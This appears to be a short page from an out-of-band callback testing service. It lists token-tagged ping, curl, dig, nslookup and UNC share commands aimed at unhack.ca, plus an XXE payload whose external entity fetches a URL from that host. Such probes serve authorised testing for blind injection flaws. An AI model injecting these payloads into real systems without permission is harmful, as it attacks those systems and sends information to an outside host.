$ ping -c1 -p 006bd98cd9be015f52dc15d93d078d00 unhack.ca
 

$ curl http://unhack.ca/p/6bd98cd9be015f52dc15d93d078d
 

$ dig 6bd98cd9be015f52dc15d93d078d @unhack.ca
 

$ dig 6bd98cd9be015f52dc15d93d078d.ns.unhack.ca
 

C:\> nslookup 6bd98cd9be015f52dc15d93d078d unhack.ca
 

C:\> type \\unhack.ca\6bd98cd9be015f52dc15d93d078d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6bd98cd9be015f52dc15d93d078d">]>
    <foo>&xxe;</foo>